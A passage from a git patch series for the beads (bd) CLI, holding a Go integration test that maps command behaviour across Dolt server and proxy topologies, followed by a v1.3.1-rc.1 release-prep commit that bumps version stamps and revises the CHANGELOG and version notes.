...string) (string, string, int) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = w.dir + cmd.Env = w.env + stdout, stderr, err := runCommandBuffers(t, cmd) + code := 0 + if err != nil { + var ee *exec.ExitError + if !errors.As(err, &ee) { + t.Fatalf("[%s] bd %s could not run: %v\nstdout:\n%s\nstderr:\n%s", + w.name, strings.Join(args, " "), err, stdout.String(), stderr.String()) + } + code = ee.ExitCode() + } + return stdout.String(), stderr.String(), code +} + +type topologySpec struct { + name string + class topologyClass + // make builds the workspace, or calls t.Skip with a reason. Construction + // is lazy so one unavailable topology never hides the others. + make func(t *testing.T, bd string) topologyWorkspace +} + +// embeddedTopology is always available: no server, no docker, no dolt binary. +func embeddedTopology() topologySpec { + return topologySpec{ + name: topoEmbedded, class: classDirect, + make: func(t *testing.T, bd string) topologyWorkspace { + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "mtxe") + return topologyWorkspace{ + name: topoEmbedded, class: classDirect, + dir: dir, beadsDir: beadsDir, env: bdEnv(dir), + } + }, + } +} + +// directLocalServerTopology is `bd init --server` with no port: bd spawns and +// owns a dolt sql-server under .beads on an OS-allocated ephemeral port. +// +// It needs an env that does NOT carry the package TestMain's BEADS_TEST_MODE +// (which disables auto-start and pins the port to 1) and does NOT carry +// bdEnv's BEADS_DOLT_AUTO_START=0. Teardown is `bd dolt stop`, which reads +// .beads/dolt-server.pid — the only PID this test is entitled to stop. +func directLocalServerTopology() topologySpec { + return topologySpec{ + name: topoDirectLocal, class: classDirect, + make: func(t *testing.T, bd string) topologyWorkspace { + testutil.RequireDoltBinary(t) + dir := t.TempDir() + initGitRepoAt(t, dir) + beadsDir := filepath.Join(dir, ".beads") + env := directLocalServerEnv(dir) + + t.Cleanup(func() { stopDirectLocalServer(t, bd, dir, beadsDir, env) }) + + cmd := exec.Command(bd, "init", "--quiet", "--backend", "dolt", "--server", + "--prefix", "mtxdl", "--non-interactive", "--skip-agents", "--skip-hooks") + cmd.Dir = dir + cmd.Env = env + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd init --server (direct local) failed: %v\nstdout:\n%s\nstderr:\n%s", + err, stdout.String(), stderr.String()) + } + return topologyWorkspace{ + name: topoDirectLocal, class: classDirect, + dir: dir, beadsDir: beadsDir, env: env, + } + }, + } +} + +// directExternalServerTopology reuses newServerModeProject: `bd init --server` +// pointed at the shared test Dolt container, which bd did not start. +func directExternalServerTopology() topologySpec { + return topologySpec{ + name: topoDirectExternal, class: classDirect, + make: func(t *testing.T, bd string) topologyWorkspace { + p := newServerModeProject(t, bd, "mtxdx") + return topologyWorkspace{ + name: topoDirectExternal, class: classDirect, + dir: p.dir, beadsDir: p.beadsDir, env: p.env, + } + }, + } +} + +// proxiedLocalTopology is the managed-local proxy plus its child dolt server. +func proxiedLocalTopology() topologySpec { + return topologySpec{ + name: topoProxiedLocal, class: classProxied, + make: func(t *testing.T, bd string) topologyWorkspace { + requireManagedLocalProxiedEnv(t) + p := bdManagedLocalInit(t, bd, "mtxpl", 5*time.Minute) + return topologyWorkspace{ + name: topoProxiedLocal, class: classProxied, + dir: p.dir, beadsDir: p.beadsDir, proxyRoot: p.proxyRoot, env: bdProxiedEnv(p.dir), + } + }, + } +} + +// proxiedExternalTCPTopology fronts the shared Dolt container with a proxy. +func proxiedExternalTCPTopology() topologySpec { + return topologySpec{ + name: topoProxiedTCP, class: classProxied, + make: func(t *testing.T, bd string) topologyWorkspace { + requireProxiedServerEnv(t) + p := newSharedProxiedProject(t, bd, "mtxpx") + return topologyWorkspace{ + name: topoProxiedTCP, class: classProxied, + dir: p.dir, beadsDir: p.beadsDir, proxyRoot: p.proxyRoot, env: bdProxiedEnv(p.dir), + } + }, + } +} + +// --------------------------------------------------------------------------- +// Entry points +// --------------------------------------------------------------------------- + +// TestProxiedServerTopologyCapabilityMatrix is the primary entry point. +// +// Named TestProxiedServer* so .github/scripts/proxied-test-shard.sh discovers +// it, which puts it in pr-risk.yml's `test-proxied-cmd` lane — a lane that +// runs on pull_request, not only on push-to-main. +// +// It covers four of the five topologies. managed-local is gated on +// BEADS_TEST_PROXIED_LOCAL, which that lane does not set; it is covered by +// TestManagedLocalProxiedCapabilityMatrix in the proxied-local smoke lane +// instead. Both entry points share this table. +func TestProxiedServerTopologyCapabilityMatrix(t *testing.T) { + runCapabilityMatrix(t, []topologySpec{ + embeddedTopology(), + directLocalServerTopology(), + directExternalServerTopology(), + proxiedLocalTopology(), + proxiedExternalTCPTopology(), + }) +} + +// --------------------------------------------------------------------------- +// Runner +// --------------------------------------------------------------------------- + +type cellResult struct { + topology string + probe string + outcome matrixOutcome + reason matrixReason + knownBad bool +} + +func runCapabilityMatrix(t *testing.T, topologies []topologySpec) { + bd := buildEmbeddedBD(t) + + var results []cellResult + exercised := map[string]bool{} + skipped := map[string]string{} + + for _, spec := range topologies { + t.Run(spec.name, func(t *testing.T) { + // A topology that cannot be built here must say so out loud. A + // silently skipped topology is the main way this matrix could + // look green while proving nothing. + defer func() { + if t.Skipped() && skipped[spec.name] == "" { + skipped[spec.name] = "gated off in this environment" + } + }() + + w := spec.make(t, bd) + exercised[spec.name] = true + + // Refusal rows run first, behind the no-side-effect invariants: + // the provider must never have been constructed. Ordering matters + // because a later honored probe legitimately starts the proxy. + refusals, others := partitionProbes(capabilityProbes, spec.name, spec.class) + + if w.class == classProxied && len(refusals) > 0 { + if err := proxy.Shutdown(w.proxyRoot); err != nil { + t.Logf("pre-refusal proxy.Shutdown(%s): %v", w.proxyRoot, err) + } + } + before := w.snapshotArtifacts(t) + + for _, p := range refusals { + p := p + t.Run(p.name, func(t *testing.T) { + want := p.want(spec.name, spec.class) + results = append(results, assertCell(t, w, bd, p, want)) + w.assertNoProviderSideEffects(t, p, before) + }) + } + for _, p := range others { + p := p + t.Run(p.name, func(t *testing.T) { + want := p.want(spec.name, spec.class) + results = append(results, assertCell(t, w, bd, p, want)) + }) + } + + assertCRUDControl(t, w, bd) + }) + } + + reportMatrix(t, topologies, results, exercised, skipped) +} + +// partitionProbes puts the refusal rows for this topology first, preserving +// table order within each group. +func partitionProbes(all []probe, topology string, class topologyClass) (refusals, others []probe) { + for _, p := range all { + if _, excused := p.skipOn[topology]; excused { + continue + } + switch p.want(topology, class).outcome { + case outcomeRefusedTyped, outcomeRefusedUntyped: + refusals = append(refusals, p) + default: + others = append(others, p) + } + } + return refusals, others +} + +// assertCell runs one probe and asserts the observed outcome class. +func assertCell(t *testing.T, w topologyWorkspace, bd string, p probe, want expectation) cellResult { + t.Helper() + + // --json before the subcommand, plus BEADS_JSON=1: a few nested front + // doors do not inherit persistent flags placed after their args. + args := append([]string{"--json"}, p.args...) + stdout, stderr, code := w.run(t, bd, args...) + combined := stdout + stderr + + fail := func(format string, a ...interface{}) { + t.Fatalf("[%s] bd %s\n want %s (reason=%s)%s\n %s\n exit=%d\n stdout:\n%s\n stderr:\n%s", + w.name, strings.Join(p.args, " "), want.outcome, want.reason, + knownBadSuffix(want), fmt.Sprintf(format, a...), code, stdout, stderr) + } + + switch want.outcome { + case outcomeRefusedTyped: + if code == 0 { + fail("expected a typed refusal, but the command succeeded") + } + var got struct { + Code string `json:"code"` + Error string `json:"error"` + Mutates bool `json:"mutates"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); err == nil && got.Code != "" { + if got.Code != want.code { + fail("refusal code = %q, want %q", got.Code, want.code) + } + if got.Mutates { + fail("refusal reported mutates=true; refusals must never mutate") + } + if want.substr != "" && !strings.Contains(got.Error, want.substr) { + fail("refusal message %q does not contain %q", got.Error, want.substr) + } + } else { + // Documented fallback: nested commands render the typed refusal + // through the text path before config-backed JSON is applied. + if want.substr != "" && !strings.Contains(combined, want.substr) { + fail("no typed refusal JSON and output lacks %q", want.substr) + } + } + + case outcomeRefusedUntyped: + if code == 0 { + fail("expected an untyped refusal, but the command succeeded") + } + if strings.Contains(stdout, `"code"`) { + fail("refusal carried a typed code; this row should be REFUSED_TYPED") + } + if want.substr != "" && !strings.Contains(combined, want.substr) { + fail("output lacks %q", want.substr) + } + + case outcomeHonored: + if code != 0 { + fail("expected success") + } + if strings.Contains(combined, "is not supported in proxied-server mode") { + fail("exit 0 but the output carries a proxied refusal") + } + if want.substr != "" && !strings.Contains(combined, want.substr) { + fail("output lacks %q", want.substr) + } + + case outcomeWrongAnswer, outcomeDegraded: + if want.knownBad == "" { + t.Fatalf("[%s] probe %q is %s but carries no knownBad; every bug this matrix records must name itself", + w.name, p.name, want.outcome) + } + if code != 0 { + fail("expected exit 0 (that is what makes it a silent wrong answer)") + } + if want.substr != "" && !strings.Contains(combined, want.substr) { + fail("output lacks the marker %q", want.substr) + } + + case outcomeError: + if code == 0 { + fail("expected a non-zero exit from the command itself") + } + if strings.Contains(combined, "is not supported in proxied-server mode") { + fail("this row expects the command's own error, but it was refused by topology policy") + } + if want.substr != "" && !strings.Contains(combined, want.substr) { + fail("output lacks %q", want.substr) + } + + default: + t.Fatalf("unhandled outcome %q", want.outcome) + } + + if want.absent != "" && strings.Contains(combined, want.absent) { + fail("output unexpectedly contains %q", want.absent) + } + + return cellResult{ + topology: w.name, probe: p.name, + outcome: want.outcome, reason: want.reason, knownBad: want.knownBad != "", + } +} + +// assertCRUDControl proves the workspace is genuinely functional. Without it +// a topology whose store was broken would report a tidy column of refusals +// and look like a successful characterization. +func assertCRUDControl(t *testing.T, w topologyWorkspace, bd string) { + t.Helper() + t.Run("control create+show", func(t *testing.T) { + stdout, stderr, code := w.run(t, bd, "--json", "create", "matrix control probe", "-p", "2") + if code != 0 { + t.Fatalf("[%s] control create failed (exit %d)\nstdout:\n%s\nstderr:\n%s", w.name, code, stdout, stderr) + } + var created struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &created); err != nil || created.ID == "" { + t.Fatalf("[%s] control create did not return an id: %v\nstdout:\n%s", w.name, err, stdout) + } + showOut, showErr, showCode := w.run(t, bd, "--json", "show", created.ID) + if showCode != 0 { + t.Fatalf("[%s] control show %s failed (exit %d)\nstdout:\n%s\nstderr:\n%s", + w.name, created.ID, showCode, showOut, showErr) + } + if !strings.Contains(showOut, created.ID) { + t.Fatalf("[%s] control show did not round-trip %s\nstdout:\n%s", w.name, created.ID, showOut) + } + }) +} + +// --------------------------------------------------------------------------- +// Side-effect invariants +// --------------------------------------------------------------------------- + +// snapshotArtifacts reuses the existing history-matrix snapshot so both tests +// agree on what "durable artifacts" means. +func (w topologyWorkspace) snapshotArtifacts(t *testing.T) []byte { + t.Helper() + if w.class != classProxied { + return nil + } + return snapshotHistoryArtifacts(t, proxiedProject{beadsDir: w.beadsDir, proxyRoot: w.proxyRoot}) +} + +// assertNoProviderSideEffects is the regression net the design calls for: a +// refusal must be decided before any workspace side effect, so the provider +// must never have been constructed and nothing durable may have changed. +func (w topologyWorkspace) assertNoProviderSideEffects(t *testing.T, p probe, before []byte) { + t.Helper() + if w.class != classProxied { + return + } + if _, err := os.Stat(filepath.Join(w.proxyRoot, proxy.PIDFileName)); err == nil { + t.Fatalf("[%s] %s: proxy started for a refused command; the refusal must precede provider construction", + w.name, p.name) + } + if after := w.snapshotArtifacts(t); string(before) != string(after) { + t.Fatalf("[%s] %s: durable artifacts changed during a refusal", w.name, p.name) + } +} + +// --------------------------------------------------------------------------- +// Reporting +// --------------------------------------------------------------------------- + +// reportMatrix prints the matrix so a reader can tell the classes apart +// without reading the source. This is the completion signal every later slice +// checks itself against. +func reportMatrix(t *testing.T, topologies []topologySpec, results []cellResult, exercised map[string]bool, skipped map[string]string) { + t.Helper() + + var b strings.Builder + b.WriteString("\n=== front-door capability matrix (observed behavior, not desired) ===\n\n") + + byProbe := map[string]map[string]cellResult{} + for _, r := range results { + if byProbe[r.probe] == nil { + byProbe[r.probe] = map[string]cellResult{} + } + byProbe[r.probe][r.topology] = r + } + + var names []string + for _, spec := range topologies { + names = append(names, spec.name) + } + + // Wide enough for the longest label, "REFUSED_TYPED/unimplemented !". + const cellWidth = 29 + + fmt.Fprintf(&b, "%-22s", "COMMAND") + for _, n := range names { + fmt.Fprintf(&b, " | %-*s", cellWidth, n) + } + b.WriteString("\n") + b.WriteString(strings.Repeat("-", 22+len(names)*(cellWidth+3)) + "\n") + + for _, p := range capabilityProbes { + fmt.Fprintf(&b, "%-22s", p.name) + for _, n := range names { + cell, ok := byProbe[p.name][n] + if !ok { + missing := "(not exercised)" + if _, excused := p.skipOn[n]; excused { + missing = "(not probed)" + } + fmt.Fprintf(&b, " | %-*s", cellWidth, missing) + continue + } + label := string(cell.outcome) + if cell.reason != reasonNA && cell.reason != "" { + label += "/" + string(cell.reason) + } + if cell.knownBad { + label += " !" + } + fmt.Fprintf(&b, " | %-*s", cellWidth, label) + } + b.WriteString("\n") + } + + counts := map[matrixOutcome]int{} + designRefusals, unimplementedRefusals, knownBads := 0, 0, 0 + for _, r := range results { + counts[r.outcome]++ + if r.outcome == outcomeRefusedTyped || r.outcome == outcomeRefusedUntyped { + switch r.reason { + case reasonDesign: + designRefusals++ + case reasonUnimplemented: + unimplementedRefusals++ + } + } + if r.knownBad { + knownBads++ + } + } + + fmt.Fprintf(&b, "\ncells: %d over %d commands x %d exercised topologies\n", + len(results), len(capabilityProbes), len(exercised)) + var outcomes []string + for o, c := range counts { + outcomes = append(outcomes, fmt.Sprintf("%s=%d", o, c)) + } + sort.Strings(outcomes) + fmt.Fprintf(&b, "outcomes: %s\n", strings.Join(outcomes, " ")) + fmt.Fprintf(&b, "refusals: %d refused-by-design, %d not-yet-implemented\n", designRefusals, unimplementedRefusals) + fmt.Fprintf(&b, "tracked defects (knownBad, marked !): %d cells\n", knownBads) + + b.WriteString("\ntopologies exercised:\n") + for _, spec := range topologies { + if exercised[spec.name] { + fmt.Fprintf(&b, " [exercised] %s\n", spec.name) + } else { + fmt.Fprintf(&b, " [NOT EXERCISED] %s — %s\n", spec.name, skipped[spec.name]) + } + } + b.WriteString("\ndeliberately not probed:\n") + var notProbed []string + for k, why := range deliberatelyNotProbed { + notProbed = append(notProbed, fmt.Sprintf(" %s — %s", k, why)) + } + for _, p := range capabilityProbes { + for topo, why := range p.skipOn { + notProbed = append(notProbed, fmt.Sprintf(" %s on %s — %s", p.name, topo, why)) + } + } + sort.Strings(notProbed) + for _, line := range notProbed { + b.WriteString(line + "\n") + } + + t.Log(b.String()) + + // A run that built no topology at all proves nothing, and `go test` would + // otherwise print "ok". The embedded topology needs no server, no docker + // and no dolt binary, so an empty run means something is broken rather + // than gated — unless the operator narrowed the run themselves. + if len(exercised) == 0 && !subtestFilterActive() { + t.Fatal("no topology could be built; this run proves nothing. See the report above.") + } +} + +// subtestFilterActive reports whether -run narrows below the top-level test, +// in which case topologies are absent by operator request rather than by +// breakage. +func subtestFilterActive() bool { + f := flag.Lookup("test.run") + return f != nil && strings.Contains(f.Value.String(), "/") +} + +func knownBadSuffix(want expectation) string { + if want.knownBad == "" { + return "" + } + return "\n knownBad: " + want.knownBad +} From d487b9796e87d4db0d89535d88595c98b80e3bd6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 18 Sep 2026 17:38:56 -0700 Subject: [PATCH 055/624] release: prep v1.3.1-rc.1 (#6593) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * release: prep v1.3.1-rc.1 Sanctioned RC bump per RELEASING.md "Cut an RC", on the #6298 model: ./scripts/update-versions.sh 1.3.1-rc.1, which carries the stamp into version.go, the three plugin.json manifests, marketplace.json, the npm package.json, the MCP pyproject.toml/__init__.py/uv.lock, default.nix, the ten .githooks managed-section markers and the winres strings. scripts/check-versions.sh passes all 24 gates at 1.3.1-rc.1. Unlike the 1.3.0 RCs, this bump moves the BASE version, so cmd/bd/winres/manifest.xml changes too (1.3.0.0 -> 1.3.1.0) along with the winres numeric file_version/product_version (1.3.0 -> 1.3.1). Those PE fields must be purely numeric; the FileVersion/ProductVersion strings carry the full 1.3.1-rc.1, and uv.lock carries the PEP 440 normalization 1.3.1rc1 written by `uv lock`, never by hand. This has to land before the tag: release.yml's verify-version-consistency compares ${GITHUB_REF_NAME#v} byte-for-byte against the Version string in cmd/bd/version.go, and every stamp on this branch still read 1.3.0. Simulated against the working tree with the workflow's own grep/sed pipeline: the extracted string is exactly "1.3.1-rc.1", on a single matching line. The tag must be spelled v1.3.1-rc.1. CHANGELOG: creates the [1.3.1] section dated 2026-09-16 and leaves [Unreleased] empty but present, which is what #6038 (b3ef65c85) did when it created [1.3.0] at branch-cut, and what #6298's fixup established for an RC tag — an entry parked under [Unreleased] ships in no release by Keep-a-Changelog semantics, yet the RC demonstrably ships it. The three Fixed bullets already on the branch (#6580 x2, #6578) move under [1.3.1] by the rename alone; their wording is untouched, and the shipped [1.3.0] section and everything below it is byte-identical (sha256 of the [1.3.0]-to-EOF region is unchanged across this commit). The 2026-09-16 date is provisional. The final 1.3.1 prep must hand-restamp it to the real release date rather than rerun the beads-release formula's stamp-changelog step, which sed-inserts a fresh header under [Unreleased] and never re-dates an existing section — running it against an already dated [1.3.1] duplicates the heading. Same trap #6298 documented and #6564 then worked around. cmd/bd/info.go: adds the 1.3.1-rc.1 digest at index 0 of versionChanges, dated 2026-09-16 so the array stays newest-first with monotonic dates for TestGetVersionsSinceOrder. It leads with the no-migration note (a 1.3.0 user's upgrade is a binary swap) and then digests the two #6580 changes and the two #6578 ones. Per the #6298 lesson this key can only reach rc.1 users by shipping inside the rc.1 binary; omit it and `bd upgrade review` dumps the whole history at them. docs/cli-docs.pin is still v1.2.2 on this branch — 1.3.0's docs-pin step never happened. check-versions.sh explicitly excludes it, so it is not tag-blocking and is deliberately left for the post-tag docs step. Co-Authored-By: Claude Fable 5 * docs(release): reclassify 1.3.1 behaviour changes and document the config migration Documentation-only amendment to the v1.3.1-rc.1 prep. No version stamp is touched; ./scripts/check-versions.sh stays 24/24 at 1.3.1-rc.1. Three corrections, all inside the `## [1.3.1]` section and its `cmd/bd/info.go` `versionChanges` twin. 1. The flat->nested config migration is now documented (#6594). #6578 made `bd config set ` write a nested mapping, and where a flat top-level key of the same literal name exists it deletes that entry and re-emits the value nested (`updateNestedYamlKey`). `.beads/config.yaml` is not exclusively bd's, so another writer that reads its dotted keys flat stops seeing any value migrated this way — and if it re-adds the flat key, bd's own readers disagree: Viper-backed reads return the flat value while GetStringFromDir returns the nested one. Verified both halves empirically against this tree (dual-spelling probe: viper="flatvalue", GetStringFromDir="nestedvalue", independent of document order; migration probe: `dolt.host` flat entry deleted, sibling `dolt.port` and `other.thing` byte-intact). Realistic collisions are `dolt.*`, `export.auto`, `backup.enabled`. 2. Two genuine behaviour changes moved out of `### Fixed` into `### Changed`, following the 1.3.0-rc.2 precedent in c1e5e49e3: the `bd dolt status --json` shape change (#6580), which a parser of the old payload meets on upgrade, and the two `bd config set` success->failure cases (#6578). The fix content stays in `Fixed` with a pointer; neither statement appears in both sections. 3. `backend_endpoint` added to the documented key list in both CHANGELOG.md and info.go. It is a real `omitempty` field on `proxiedDoltStatus` (cmd/bd/dolt_proxied_lifecycle.go:63), set only when the sidecar reports an external backend — the one topology where `backend_managed` is false and nothing else names the server. Both surfaces now carry the same 11 keys as the struct. Validated: `## [1.3.0]`->EOF is byte-identical before and after (sha256 798a2ee0b0f0b7a3f0fc017ae01c919807740348a34f5ea8719b82a008533d00); exactly one `## [1.3.1]` heading, `## [Unreleased]` present and empty; check-versions.sh 24/24; go build/vet ./...; go test ./cmd/bd -run 'TestGetVersionsSinceOrder|TestVersionChangesStructure|TestVersionChangesCoverage|TestVersionChangesJSON|TestGetVersionsSince|TestDisplayVersion' all PASS, no skips; scripts/ci/pr-lint.sh and scripts/ci/pr-policy.sh green; `bd info --whats-new` surfaces both amendments end-to-end. Co-Authored-By: Claude Fable 5 --------- Co-authored-by: Claude Fable 5 --- .claude-plugin/marketplace.json | 2 +- .githooks/post-checkout | 4 +- .githooks/post-merge | 4 +- .githooks/pre-commit | 4 +- .githooks/pre-push | 4 +- .githooks/prepare-commit-msg | 4 +- CHANGELOG.md | 73 ++++++++++++++----- cmd/bd/info.go | 12 +++ cmd/bd/version.go | 2 +- cmd/bd/winres/manifest.xml | 2 +- cmd/bd/winres/winres.json | 8 +- default.nix | 2 +- integrations/beads-mcp/pyproject.toml | 2 +- .../beads-mcp/src/beads_mcp/__init__.py | 2 +- integrations/beads-mcp/uv.lock | 2 +- npm-package/package.json | 2 +- plugins/beads/.claude-plugin/plugin.json | 2 +- plugins/beads/.codex-plugin/plugin.json | 2 +- plugins/beads/.copilot-plugin/plugin.json | 2 +- 19 files changed, 93 insertions(+), 42 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index aad41ecfb..575163c11 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -9,7 +9,7 @@ "name": "beads", "source": "./plugins/beads", "description": "AI-supervised issue tracker for coding workflows", - "version": "1.3.0" + "version": "1.3.1-rc.1" } ] } diff --git a/.githooks/post-checkout b/.githooks/post-checkout index 19d309b87..3e06c7b41 100755 --- a/.githooks/post-checkout +++ b/.githooks/post-checkout @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.0 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.0 --- +# --- END BEADS INTEGRATION v1.3.1-rc.1 --- diff --git a/.githooks/post-merge b/.githooks/post-merge index 4d315045b..039402e0b 100755 --- a/.githooks/post-merge +++ b/.githooks/post-merge @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.0 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.0 --- +# --- END BEADS INTEGRATION v1.3.1-rc.1 --- diff --git a/.githooks/pre-commit b/.githooks/pre-commit index 46e710a33..a667ef2b0 100755 --- a/.githooks/pre-commit +++ b/.githooks/pre-commit @@ -40,7 +40,7 @@ if [ -n "$staged_go_files" ]; then echo "$staged_go_files" | xargs git add fi -# --- BEGIN BEADS INTEGRATION v1.3.0 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -97,4 +97,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.0 --- +# --- END BEADS INTEGRATION v1.3.1-rc.1 --- diff --git a/.githooks/pre-push b/.githooks/pre-push index 8bcc2483b..096439496 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -39,7 +39,7 @@ fi exec < <(printf '%s\n' "$push_refs") -# --- BEGIN BEADS INTEGRATION v1.3.0 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -96,4 +96,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.0 --- +# --- END BEADS INTEGRATION v1.3.1-rc.1 --- diff --git a/.githooks/prepare-commit-msg b/.githooks/prepare-commit-msg index bf8cfb8ff..1c24adc7c 100755 --- a/.githooks/prepare-commit-msg +++ b/.githooks/prepare-commit-msg @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.0 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.0 --- +# --- END BEADS INTEGRATION v1.3.1-rc.1 --- diff --git a/CHANGELOG.md b/CHANGELOG.md index 375762a21..8a4489a31 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,56 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [1.3.1] - 2026-09-16 + +### Changed + +- **`bd dolt status --json` changes shape on a proxied workspace** + ([#6580](https://github.com/gastownhall/beads/pull/6580)). It now emits + `{"mode": "proxied-server", "root": ..., "running": , "proxy_pid": + ..., "proxy_port": ..., "backend_managed": ..., "backend_running": ..., + "backend_pid": ..., "backend_port": ..., "backend_endpoint": ..., + "idle_timeout": ...}` instead of the always-false `{"running": false, "pid": + 0, "port": 0}` — `pid` and `port` are gone, replaced by the `proxy_*` and + `backend_*` pairs. `running` no longer reports a bd-managed dolt PID file; it + describes the proxy, the endpoint every bd command connects through, so it is + now usually true where it used to be always false. `backend_managed` is false + on external proxied topologies, where the dolt server is not bd's process to + report on and `backend_endpoint` names it instead. Anything parsing the old + payload changes behaviour on upgrade. Direct-server, shared, embedded and + externally-managed workspaces keep the output they had. + +- **`bd config set ` deletes a flat top-level key of the same + literal name** ([#6578](https://github.com/gastownhall/beads/pull/6578)). + Dotted keys are now written as a nested mapping (see **Fixed** below for why), + and where the file already carried the flat spelling — a top-level key whose + *name* contains the dot, such as `dolt.host: "10.0.0.1"` — that entry is + removed and the value re-emitted under `dolt:`. Only the key being written is + touched; other dotted keys, including ones bd did not write, are left exactly + as they are. + + `.beads/config.yaml` is not exclusively bd's, so this can be visible outside + bd: an external tool that both writes *and* reads flat dotted keys there will + stop seeing any value bd migrates this way. Any dotted key bd stores in + `config.yaml` rather than the database can collide; in practice that means + `dolt.*`, `export.auto`, and `backup.enabled`. If the other writer then + re-adds its flat key, the file carries both spellings and bd's own readers + disagree — Viper-backed reads (`bd config get`, and the `dolt.auto-start` + lookup on the store-open path) return the **flat** value, while + `GetStringFromDir` returns the **nested** one, so a `bd config set` can be + shadowed by a stale flat entry. Tracked as + [#6594](https://github.com/gastownhall/beads/issues/6594). Until that lands, + in a workspace whose config another tool maintains, let that tool own its + keys, or check `.beads/config.yaml` for a duplicated key after running + `bd config set`. + +- **Two `bd config set` writes that used to exit 0 now exit 1** + ([#6578](https://github.com/gastownhall/beads/pull/6578)), because both wrote + a value no reader could see: setting a dotted key under a parent that already + holds a scalar (`sync: enabled`, then `bd config set sync.remote`), and + setting one in a file whose top level is not a mapping. A script that + tolerated the old exit 0 now has to handle the failure. + ### Fixed - **`bd dolt start` no longer puts a second sql-server over a proxied @@ -26,15 +76,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 server: not running` while the proxy was serving CRUD — the wrong answer that sent operators to `bd dolt start` in the first place. It now reads the proxy's own records and reports the proxy and its dolt backend separately, - without starting either. **JSON output shape change**: on a proxied - workspace `bd dolt status --json` now emits - `{"mode": "proxied-server", "root": ..., "running": , "proxy_pid": - ..., "proxy_port": ..., "backend_managed": ..., "backend_running": ..., - "backend_pid": ..., "backend_port": ..., "idle_timeout": ...}` instead of - the always-false `{"running": false, "pid": 0, "port": 0}`. `running` - describes the proxy, the endpoint every bd command connects through; - `backend_managed` is false on external proxied topologies, where the dolt - server is not bd's process to report on. + without starting either. The `--json` payload changes shape to carry that — + see **Changed** above before parsing it. - **A dotted config key now round-trips: what `bd config set` writes, `bd config get` and bd's own readers find** @@ -46,16 +89,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 walks nested mappings, so it does not. The value was set and invisible at the same time depending on which reader asked, and `bd init --remote` in a fresh workspace was the ordinary way in: the remote was recorded and then not found. - Dotted keys are written nested now, an existing flat spelling of the key being - written is migrated to the nested one, and `bd config unset` removes the - nested form — it only ever matched the flat spelling, so unsetting + Dotted keys are written nested now, and `bd config unset` removes the nested + form — it only ever matched the flat spelling, so unsetting `sync.remote` silently left the remote live. Keys the write does not own, including dotted ones somebody else put there, are left exactly as they are. - - Two things that used to succeed now report an error instead, because both - produced a value no reader could see: setting a key under a parent that - already holds a value (`sync: enabled`, then `bd config set sync.remote`), and - setting one in a file whose top level is not a mapping. + Two consequences of the nested write — the flat-key migration and two new + failure exits — are under **Changed** above. ## [1.3.0] - 2026-09-15 diff --git a/cmd/bd/info.go b/cmd/bd/info.go index e8fee1860..d33378517 100644 --- a/cmd/bd/info.go +++ b/cmd/bd/info.go @@ -220,6 +220,18 @@ type VersionChange struct { // versionChanges contains agent-actionable changes for recent versions var versionChanges = []VersionChange{ + { + Version: "1.3.1-rc.1", + Date: "2026-09-16", + Changes: []string{ + "RC: first candidate for the 1.3.1 patch line, on top of 1.3.0. It carries fixes only — no schema migration, so upgrading from 1.3.0 is a binary swap. If you are coming from 1.2.2 or earlier, the [1.3.0] entry below still describes everything you meet, including the migration and backup notes; read it first.", + "CHANGE: 'bd dolt start' on a PROXIED workspace is now a typed refusal with code 'proxy.dolt_start.conflict' instead of starting a second sql-server over the proxy's own data directory. It previously either stranded ordinary bd commands on 'invalid connection' or adopted the proxy's dolt child into bd's classic PID/port records, leaving two managers for one process. The proxy owns its backend's lifecycle: it starts on 